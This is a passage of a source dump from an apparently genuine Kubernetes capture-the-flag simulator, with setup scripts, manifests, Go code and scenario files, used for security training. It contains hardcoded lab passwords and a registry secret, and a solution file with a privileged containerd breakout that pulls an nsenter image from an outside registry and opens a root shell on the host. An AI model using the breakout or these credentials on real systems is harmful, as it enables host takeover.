16 | {{template "base/footer" .}} 17 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/files/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/ansible/roles/devious-developer-data-dump/files/logo.png -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/manifests/08-creds.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: v1 2 | kind: Secret 3 | type: kubernetes.io/dockerconfigjson 4 | metadata: 5 | name: prod-pull-creds 6 | namespace: rescue-drop-prod 7 | data: 8 | .dockerconfigjson: eyJhdXRocyI6eyJyZWcucmVzY3VlLmRyb3AiOnsidXNlcm5hbWUiOiJjaSIsInBhc3N3b3JkIjoic3RvcmVpbWFnZSIsImF1dGgiOiJZMms2YzNSdmNtVnBiV0ZuWlE9PSJ9fX0= 9 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/00-master.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | kubectl delete node {{ node2_hostname }} --force --grace-period=0 --ignore-not-found 4 | 5 | # Prep git repos 6 | mkdir -p /tmp/{git,ci}repo 7 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/01-nodes-every.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | mkdir -p /etc/containerd/certs.d/reg.rescue.drop 4 | sed -i -e 's|config_path = ""|config_path = "/etc/containerd/certs.d"|' /etc/containerd/config.toml 5 | 6 | cat < /etc/containerd/certs.d/reg.rescue.drop/hosts.toml 7 | server = "http://__REGISTRY_IP__:30080" 8 | 9 | [host."http://__REGISTRY_IP__:30080"] 10 | capabilities = ["pull", "resolve", "push"] 11 | skip_verify = true 12 | EOF 13 | 14 | systemctl restart containerd 15 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/01-worker-1.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | mkdir -p /mnt/{gitea,psql}-data 4 | 5 | mkdir -p /mnt/psql-data/gitea/public/img/ 6 | mkdir -p /mnt/psql-data/gitea/templates/ -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/02-bastion.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -Eeuo pipefail 4 | 5 | #eval $(grep -E 'export (NODE|MASTER)_IP_ADDR' /opt/bash_login_script) 6 | 7 | cat <<-EOF >/etc/systemd/system/socat.service 8 | [Unit] 9 | Description=Socat Forward 10 | 11 | [Service] 12 | Type=simple 13 | ExecStartPre=-killall -9 -q socat 14 | ExecStart=socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:{{ master_ip }}:30080 15 | Restart=always 16 | RestartSec=10 17 | 18 | [Install] 19 | WantedBy=multi-user.target 20 | EOF 21 | 22 | systemctl enable --now socat 23 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/02-local.sh: -------------------------------------------------------------------------------- 1 | set -x 2 | 3 | NODE_IP="$(get_node 1)" 4 | 5 | run_scp "./_scripts/logo.png" "$NODE_IP:/mnt/psql-data/gitea/public/img/" 6 | run_scp "./_scripts/logo.svg" "$NODE_IP:/mnt/psql-data/gitea/public/img/" 7 | run_scp "./_scripts/favicon.svg" "$NODE_IP:/mnt/psql-data/gitea/public/img/" 8 | run_scp "./_scripts/home.tmpl" "$NODE_IP:/mnt/psql-data/gitea/templates/" -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/05-local_1.sh: -------------------------------------------------------------------------------- 1 | 2 | set -x 3 | 4 | USER="jcastillo" 5 | PASS="9zvB2cQf2tdC" 6 | ORG="rescue-drop" 7 | DOMAIN="rescue.drop" 8 | REPO="production-image-build" 9 | MASTER_IP="{{ master_ip }}" 10 | NODE_IP="{{ node1_ip }}" 11 | 12 | 13 | cd /tmp/gitrepo/ 14 | git config --global init.defaultBranch main 15 | git init 16 | git config --local user.name "$USER" 17 | git config --local user.email "$USER@$DOMAIN" 18 | git remote add localhost http://$USER:$PASS@localhost:30080/$ORG/$REPO 19 | sed -i -e "s/__REGISTRY_IP__/$MASTER_IP/g" .github/workflows/build.yaml 20 | git add . 21 | git commit -m "Initial Commit" 22 | git push localhost 23 | sed -i -e "s/__REGISTRY_IP__/$MASTER_IP/g" /etc/containerd/certs.d/reg.rescue.drop/hosts.toml 24 | systemctl restart containerd 25 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/05-local_2.sh: -------------------------------------------------------------------------------- 1 | 2 | set -x 3 | 4 | USER="jcastillo" 5 | PASS="9zvB2cQf2tdC" 6 | ORG="rescue-drop" 7 | DOMAIN="rescue.drop" 8 | REPO="production-image-build" 9 | MASTER_IP="{{ master_ip }}" 10 | NODE_IP="{{ node1_ip }}" 11 | 12 | 13 | sed -i -e "s/__REGISTRY_IP__/$MASTER_IP/g" /etc/containerd/certs.d/reg.rescue.drop/hosts.toml 14 | systemctl restart containerd 15 | -------------------------------------------------------------------------------- /ansible/roles/devious-developer-data-dump/templates/scripts/05-local_4.sh: -------------------------------------------------------------------------------- 1 | 2 | set -x 3 | 4 | USER="jcastillo" 5 | PASS="9zvB2cQf2tdC" 6 | ORG="rescue-drop" 7 | DOMAIN="rescue.drop" 8 | REPO="production-image-build" 9 | MASTER_IP="{{ master_ip }}" 10 | NODE_IP="{{ node1_ip }}" 11 | 12 | BADUSER="iramos" 13 | BADPASS="B6ejWLgmcmE1" 14 | BADREPO="test-ci" 15 | 16 | TOKEN=$(cat /tmp/iramos-token) 17 | 18 | 19 | BOTUSER="kgarner" 20 | BOTPASS="lqeQkqiU3GnW" 21 | BOTREPO="chatbot" 22 | 23 | 24 | cd /tmp/chatbotrepo/ 25 | git config --global init.defaultBranch main 26 | git init 27 | git config --local user.name "$BOTUSER" 28 | git config --local user.email "$BOTUSER@$DOMAIN" 29 | git remote add localhost http://$BOTUSER:$BOTPASS@localhost:30080/$BOTUSER/$BOTREPO 30 | git add . 31 | git commit -m "wip: template for chatbot" 32 | git push localhost 33 | -------------------------------------------------------------------------------- /ansible/roles/pss-misconfiguration/files/challenge.txt: -------------------------------------------------------------------------------- 1 | The platform team spent their Christmas holidays migrating from pod security policies to the new fancy standard, locking down the k8s fleet! 2 | 3 | Nonetheless, an attacker stole a developer credential and has managed to run his own unconstrained Pod in the dev-app-factory namespace, to later pivot on the host. 4 | 5 | How is that even possible?! Can you find a way to remediate this and ensure that the attacker Pod can't run anymore in the cluster? 6 | -------------------------------------------------------------------------------- /ansible/roles/seven-seas/files/manifests/00-namespaces.yaml: -------------------------------------------------------------------------------- 1 | # Seven Seas 2 | apiVersion: v1 3 | kind: Namespace 4 | metadata: 5 | name: arctic 6 | --- 7 | ## Final Namespace 8 | apiVersion: v1 9 | kind: Namespace 10 | metadata: 11 | name: north-atlantic 12 | --- 13 | apiVersion: v1 14 | kind: Namespace 15 | metadata: 16 | name: south-atlantic 17 | --- 18 | apiVersion: v1 19 | kind: Namespace 20 | metadata: 21 | name: north-pacific 22 | --- 23 | apiVersion: v1 24 | kind: Namespace 25 | metadata: 26 | name: south-pacific 27 | labels: 28 | pod-security.kubernetes.io/enforce: restricted 29 | pod-security.kubernetes.io/enforce-version: latest 30 | pod-security.kubernetes.io/warn: restricted 31 | pod-security.kubernetes.io/warn-version: latest 32 | sea: south-pacific 33 | --- 34 | apiVersion: v1 35 | kind: Namespace 36 | metadata: 37 | name: indian 38 | --- 39 | apiVersion: v1 40 | kind: Namespace 41 | metadata: 42 | name: southern -------------------------------------------------------------------------------- /ansible/roles/socat/defaults/main.yaml: -------------------------------------------------------------------------------- 1 | socat_listen_port: 8080 2 | socat_target_ip: localhost 3 | socat_target_port: 30080 4 | -------------------------------------------------------------------------------- /ansible/roles/socat/templates/socat.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Socat Forward 3 | 4 | [Service] 5 | Type=simple 6 | ExecStartPre=-killall -9 -q socat 7 | ExecStart=socat TCP4-LISTEN:{{ socat_listen_port }},reuseaddr,fork TCP4:{{ socat_target_ip }}:{{ socat_target_port }} 8 | Restart=always 9 | RestartSec=10 10 | 11 | [Install] 12 | WantedBy=multi-user.target 13 | -------------------------------------------------------------------------------- /ansible/roles/starting-point/defaults/main.yaml: -------------------------------------------------------------------------------- 1 | scripts_dir: /simulator/scripts 2 | challenge_file: "{{ scripts_dir }}/challenge.txt" 3 | starting_point_script: "{{ scripts_dir }}/starting_point" 4 | -------------------------------------------------------------------------------- /ansible/roles/starting-point/tasks/challenge.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - import_tasks: scripts-dir.yaml 4 | when: "state == 'present' and 'bastion' in inventory_hostname" 5 | 6 | - name: Copy challenge 7 | ansible.builtin.copy: 8 | content: "{{ challenge_content }}" 9 | dest: "{{ challenge_file }}" 10 | when: "state == 'present' and 'bastion' in inventory_hostname" 11 | 12 | - name: Remove challenge 13 | ansible.builtin.file: 14 | path: "{{ challenge_file }}" 15 | state: "{{ state }}" 16 | when: "state == 'absent' and 'bastion' in inventory_hostname" 17 | -------------------------------------------------------------------------------- /ansible/roles/starting-point/tasks/pod.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - import_tasks: scripts-dir.yaml 4 | when: "state == 'present' and 'bastion' in inventory_hostname" 5 | 6 | - name: Create starting point script 7 | ansible.builtin.template: 8 | src: templates/pod-starting-point 9 | dest: "{{ starting_point_script }}" 10 | mode: 0555 11 | when: "state == 'present' and 'bastion' in inventory_hostname" 12 | 13 | - name: Remove starting point script 14 | ansible.builtin.copy: 15 | dest: "{{ starting_point_script }}" 16 | content: | 17 | #!/usr/bin/env bash 18 | 19 | echo "Please install a scenario to play" 20 | 21 | exit 0 22 | mode: 0555 23 | when: "state == 'absent' and 'bastion' in inventory_hostname" 24 | -------------------------------------------------------------------------------- /ansible/roles/starting-point/tasks/scripts-dir.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Create scripts directory 4 | ansible.builtin.file: 5 | path: "{{ scripts_dir }}" 6 | state: directory 7 | mode: 0755 8 | -------------------------------------------------------------------------------- /ansible/roles/starting-point/templates/pod-starting-point: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cat {{ challenge_file }}; echo 4 | 5 | kubectl wait --for=condition=ready pod -n {{ namespace }} {{ pod }} > /dev/null 6 | kubectl exec -it -n {{ namespace }} {{ pod }} -- sh 7 | 8 | exit 0 9 | -------------------------------------------------------------------------------- /core/aws/env.go: -------------------------------------------------------------------------------- 1 | package aws 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | ) 7 | 8 | // envKeys is a list of environment variables that are used by the AWS SDK. 9 | var envKeys = []string{ //nolint: gochecknoglobals 10 | "AWS_PROFILE", 11 | "AWS_REGION", 12 | "AWS_ACCESS_KEY_ID", 13 | "AWS_SECRET_ACCESS_KEY", 14 | "AWS_SESSION_TOKEN", 15 | } 16 | 17 | func EnvVars() []string { 18 | env := make([]string, 0) 19 | 20 | for _, key := range envKeys { 21 | value := os.Getenv(key) 22 | if len(value) > 0 { 23 | env = append(env, fmt.Sprintf("%s=%s", key, value)) 24 | } 25 | } 26 | 27 | return env 28 | } 29 | 30 | func SharedConfigDir(user string) string { 31 | if user == "root" { 32 | return "/root/.aws" 33 | } 34 | 35 | return fmt.Sprintf("/home/%s/.aws", user) 36 | } 37 | -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/build-a-backdoor/images/1-no-website.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/build-a-backdoor/images/1-no-website.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/build-a-backdoor/images/2-hashjacker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/build-a-backdoor/images/2-hashjacker.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/cease-and-desist/images/1-trial-gist.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/cease-and-desist/images/1-trial-gist.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/cease-and-desist/images/2-trial-gist-raw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/cease-and-desist/images/2-trial-gist-raw.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/cease-and-desist/images/3-production-gist.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/cease-and-desist/images/3-production-gist.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/1-rescue-drop-repo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/1-rescue-drop-repo.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/10-new-user.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/10-new-user.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/11-fork.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/11-fork.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/12-pull-request.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/12-pull-request.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/13-actions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/13-actions.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/14-pwn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/14-pwn.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/2-prod-image.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/2-prod-image.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/3-process-orders.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/3-process-orders.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/4-github-action.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/4-github-action.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/5-maintainers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/5-maintainers.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/6-commits.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/6-commits.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/7-secret-token.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/7-secret-token.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/8-login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/8-login.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/9-gitea-api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/devious-developer-data-dump/images/9-gitea-api.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/1-home-page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/1-home-page.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/10-netcat-connection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/10-netcat-connection.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/2-about-page.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/2-about-page.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/3-valid-pod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/3-valid-pod.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/4-invalid-pod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/4-invalid-pod.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/5-console.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/5-console.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/6-google-search.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/6-google-search.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/7-nodejs-test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/7-nodejs-test.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/8-python-test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/8-python-test.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/identity-theft/images/9-python-curl-connection.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/identity-theft/images/9-python-curl-connection.png -------------------------------------------------------------------------------- /docs/2023-cncf-ctf-walkthroughs/seven-seas/images/path-of-the-pirate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/docs/2023-cncf-ctf-walkthroughs/seven-seas/images/path-of-the-pirate.png -------------------------------------------------------------------------------- /docs/amis.md: -------------------------------------------------------------------------------- 1 | # Simulator AMIs 2 | 3 | Simulator uses two AMIs; one for the bastion, one for the Kubernetes instances. 4 | 5 | These must be created in the target AWS account before launching the Simulator infrastructure by running the following 6 | commands. 7 | 8 | ```shell 9 | simulator image build bastion 10 | simulator image build k8s 11 | ``` 12 | -------------------------------------------------------------------------------- /docs/infrastructure.md: -------------------------------------------------------------------------------- 1 | # Simulator Infrastructure 2 | 3 | [//]: # (TODO document infra components) 4 | -------------------------------------------------------------------------------- /docs/scenarios.md: -------------------------------------------------------------------------------- 1 | # Simulator Scenarios 2 | 3 | [//]: # (TODO document scenarios) 4 | -------------------------------------------------------------------------------- /internal/logging/factory.go: -------------------------------------------------------------------------------- 1 | package logging 2 | 3 | import ( 4 | "fmt" 5 | "log/slog" 6 | "os" 7 | ) 8 | 9 | func Configure(level string) error { 10 | var leveler slog.Leveler 11 | 12 | switch level { 13 | case "error": 14 | leveler = slog.LevelError 15 | case "warn": 16 | leveler = slog.LevelWarn 17 | case "info": 18 | leveler = slog.LevelInfo 19 | case "debug": 20 | leveler = slog.LevelDebug 21 | default: 22 | return fmt.Errorf("unsupported log level: " + level) 23 | } 24 | 25 | handlerOptions := &slog.HandlerOptions{ 26 | AddSource: true, 27 | Level: leveler, 28 | } 29 | 30 | logger := slog.New(slog.NewTextHandler(os.Stdout, handlerOptions)) 31 | slog.SetDefault(logger) 32 | 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /packer/scripts/kubernetes: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.28/deb/Release.key | \ 4 | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg 5 | 6 | echo "deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v${KUBE_VERSION}/deb/ /" | \ 7 | sudo tee /etc/apt/sources.list.d/kubernetes.list 8 | 9 | sudo apt update 10 | sudo apt install -y ${PACKAGES} 11 | sudo apt-mark hold ${PACKAGES} 12 | 13 | if [ $PULL_IMAGES == "true" ]; then 14 | sudo kubeadm config images pull 15 | fi 16 | -------------------------------------------------------------------------------- /scenarios/build-a-backdoor/README.md: -------------------------------------------------------------------------------- 1 | # Build-a-Backdoor Scenario 2 | 3 | Vulnerable company are called "Introspective Insights" 4 | -------------------------------------------------------------------------------- /scenarios/build-a-backdoor/_solution/blocked-tests.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: networking.k8s.io/v1 2 | kind: NetworkPolicy 3 | metadata: 4 | name: ii-mgmt-np 5 | namespace: ii-prod 6 | spec: 7 | podSelector: 8 | matchLabels: 9 | app: ii 10 | ingress: 11 | - { } 12 | policyTypes: 13 | - Ingress 14 | --- 15 | apiVersion: networking.k8s.io/v1 16 | kind: NetworkPolicy 17 | metadata: 18 | name: ii-mgmt-np 19 | namespace: ii-prod 20 | spec: 21 | podSelector: { } 22 | policyTypes: 23 | - Ingress 24 | ingress: 25 | - ports: 26 | - port: 8080 27 | - port: 5724 28 | -------------------------------------------------------------------------------- /scenarios/build-a-backdoor/_solution/hashjacker.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/controlplaneio/simulator/90c4602d9a3bee46a34ca338f18b8ceba817b7d2/scenarios/build-a-backdoor/_solution/hashjacker.jpg -------------------------------------------------------------------------------- /scenarios/build-a-backdoor/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: KubeCon + CloudNativeCon Europe 2023 CTF 2 | difficulty: Medium 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about Kubernetes Ingress, Services and Network Policies 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: jumpbox-terminal 12 | podNamespace: dmz 13 | summary: Install a backdoor onto a Kubernetes cluster for Captain Hλ$ħ𝔍Ⱥ¢k to exploit 14 | name: build-a-backdoor 15 | -------------------------------------------------------------------------------- /scenarios/cease-and-desist/admin-console/Dockerfile: -------------------------------------------------------------------------------- 1 | # syntax=docker/dockerfile:1 2 | 3 | FROM controlplaneoffsec/kubectl 4 | 5 | WORKDIR / 6 | RUN apt update && apt install -y curl jq vim -------------------------------------------------------------------------------- /scenarios/cease-and-desist/reform-kube/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.20-bullseye AS build 2 | 3 | WORKDIR / 4 | 5 | # Go Webapp 6 | COPY go.mod . 7 | COPY *.go . 8 | 9 | RUN go build -o reform-kube-licensing-server -ldflags='-w -s' main.go 10 | 11 | ## 12 | ## Deploy 13 | ## 14 | FROM controlplaneoffsec/kubectl 15 | 16 | RUN apt update && apt install -y --no-install-recommends \ 17 | ca-certificates \ 18 | && apt clean all 19 | 20 | WORKDIR / 21 | 22 | RUN useradd -ms /bin/bash licenser 23 | USER licenser 24 | 25 | COPY --from=build --chown=licenser:licenser /reform-kube-licensing-server /reform-kube/reform-kube-licensing-server -------------------------------------------------------------------------------- /scenarios/cease-and-desist/reform-kube/go.mod: -------------------------------------------------------------------------------- 1 | module reform-kube-licensing-server 2 | 3 | go 1.20 4 | -------------------------------------------------------------------------------- /scenarios/cease-and-desist/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: KubeCon + CloudNativeCon North America 2023 CTF 2 | difficulty: Medium 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about Cilium Network Policies 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: admin-console 12 | podNamespace: administration 13 | summary: Fix the reform-kube licensing server and get production running again 14 | name: cease-and-desist 15 | -------------------------------------------------------------------------------- /scenarios/cease-and-desist/tokungfu-server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.18-bullseye AS build 2 | 3 | WORKDIR / 4 | 5 | # Go Webapp 6 | COPY go.mod ./ 7 | COPY go.sum ./ 8 | COPY *.go ./ 9 | 10 | RUN go build -o /tokungfu -ldflags='-w -s' ./main.go 11 | 12 | ## 13 | ## Deploy 14 | ## 15 | FROM gcr.io/distroless/base-debian10 16 | 17 | WORKDIR / 18 | 19 | COPY --from=build --chown=nonroot:nonroot /tokungfu /app/tokungfu 20 | 21 | USER nonroot:nonroot 22 | 23 | EXPOSE 8080 24 | 25 | CMD ["/app/tokungfu"] 26 | -------------------------------------------------------------------------------- /scenarios/cease-and-desist/tokungfu-server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | "os" 7 | 8 | "github.com/gin-gonic/gin" 9 | ) 10 | 11 | type Kind struct { 12 | ID string `json:"id,omitempty"` 13 | Kind string `json:"kind"` 14 | } 15 | 16 | func main() { 17 | router := gin.Default() 18 | router.GET("/", run) 19 | 20 | log.Print("Server listening on http://localhost:8080/") 21 | if err := http.ListenAndServe("0.0.0.0:8080", router); err != nil { 22 | log.Fatalf("There was an error with the http server: %v", err) 23 | } 24 | } 25 | 26 | func run(c *gin.Context) { 27 | var flag = os.Getenv("FLAG") 28 | c.JSON(http.StatusOK, "Tokungfu Shop Running: "+flag) 29 | } 30 | -------------------------------------------------------------------------------- /scenarios/ci-runner-ng-breakout/solution.md: -------------------------------------------------------------------------------- 1 | # Solution 2 | 3 | ## Ctr CLI 4 | 5 | ```bash 6 | ctr i pull r.jpts.uk/nsenter1:latest 7 | ctr run -d --rm --privileged --with-ns pid:/proc/1/ns/pid r.jpts.uk/nsenter1:latest r00t 8 | ctr t exec -t --exec-id x r00t bash 9 | ``` 10 | 11 | ## Non-Solutions 12 | 13 | * Nerdctl doesn't work as we don't mount in the necessary dirs 14 | * crictl doesn't work due to CNI incompatibiity with calico - [explanation](https://github.com/containerd/cri/issues/520#issuecomment-355362760) 15 | -------------------------------------------------------------------------------- /scenarios/ci-runner-ng-breakout/tasks.yaml: -------------------------------------------------------------------------------- 1 | category: CloudNative SecurityCon North America 2023 CTF 2 | difficulty: Easy 3 | kind: cp.simulator/scenario:1.0.0 4 | objective: Learn about Container breakout via containerd 5 | tasks: 6 | "1": 7 | hints: 8 | sortOrder: 1 9 | startingPoint: 10 | mode: pod 11 | podName: jenk-ng-runner-s82n6 12 | podNamespace: ci-runner-ng 13 | summary: An adversary has 